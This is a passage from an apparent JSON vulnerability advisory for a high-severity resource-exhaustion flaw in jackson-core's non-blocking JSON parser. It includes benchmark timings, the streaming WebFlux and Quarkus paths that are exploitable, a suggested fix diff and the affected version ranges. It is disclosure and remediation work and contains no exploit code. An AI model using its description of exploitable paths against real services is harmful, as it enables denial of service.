|\n|---|---|---|---|\n| jackson-core 2.18.7 | 250 (full payload) | 50,000 (50x the configured limit) | 6,548ms — only at terminator |\n| 2.18.8-SNAPSHOT (fix branch) | 5 | 1,001 | 155ms — moment threshold crossed |\n\nNote on the default `@RequestBody Mono<JsonNode>` path: that path cannot\ndistinguish the two builds because Spring's `decodeToMono` joins all\nDataBuffers into one before parsing. The exploitable shape is the\nstreaming-decode path (`Flux<JsonNode>` / `@RequestBody Flux<...>` /\nWebSocket / SSE / any direct `decoder.decode(Flux<DataBuffer>, ...)` call),\nwhich is also what `Jackson2Tokenizer` uses for any streaming JSON\ndeserialization in WebFlux and Quarkus reactive REST.\n\n## Suggested fix\n\nMirror the pattern already used in `_finishFloatFraction`. At every site that returns `_updateTokenToNA()` (or `JsonToken.NOT_AVAILABLE`) with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`, call `_setIntLength(outPtr + negMod)` first. Concretely, the diff to `NonBlockingUtf8JsonParserBase.java` would be:\n\n```diff\n     protected JsonToken _finishNumberIntegralPart(char[] outBuf, int outPtr) throws IOException {\n         int negMod = _numberNegative ? -1 : 0;\n\n         while (true) {\n             if (_inputPtr >= _inputEnd) {\n                 _minorState = MINOR_NUMBER_INTEGER_DIGITS;\n                 _textBuffer.setCurrentLength(outPtr);\n+                _streamReadConstraints.validateIntegerLength(outPtr + negMod);\n                 return _updateTokenToNA();\n             }\n```\n\nNote: `_setIntLength` itself can't be used as-is because it also assigns `_intLength`, and `_intLength` must not be set until the integer is truly complete (subsequent fraction handling reads `_intLength`). The minimal fix is to call only the validator, as shown.\n\nApply the same one-line insertion before each `return _updateTokenToNA();` that exits with `_minorState = MINOR_NUMBER_INTEGER_DIGITS`. The sites are listed above (12 lines total).\n\nAlternatively, a heavier refactor: also gate `_textBuffer.expandCurrentSegment()` calls inside the digit-accumulation loops on `outPtr < maxNumberLength` so that the validator fires at the moment the buffer would be enlarged past the limit, rather than waiting for the next chunk boundary. Either approach is sufficient.\n\n## Credit\n\nReported by `tonghuaroot` (`tonghuaroot@gmail.com`). Variant hunt against the Feb 2026 fix for GHSA-72hv-8253-57qq.",
  "severity" : [ {
    "type" : "CVSS_V4",
    "score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.18.8"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "com.fasterxml.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "2.19.0"
      }, {
        "fixed" : "2.21.4"
      } ]
    } ]
  }, {
    "package" : {
      "ecosystem" : "Maven",
      "name" : "tools.jackson.core:jackson-core"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "3.0.0"
      }, {
        "fixed" : "3.1.4"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/security/advisories/GHSA-r7wm-3cxj-wff9"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-68494"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/pull/1611"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/commit/050b429804dce2a7e08f0be1b0b4c3d040fdb9cd"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/commit/4cdd529749da396cc7edf6d4a2aad41d47902641"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/FasterXML/jackson-core/commit/c5941e5aae7fd5aeac55d66933cfb82b9aabeef8"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/FasterXML/jackson-core"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-770" ],
    "severity" : "HIGH",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-07-21T21:58:53Z",
    "nvd_published_at" : null
  }
}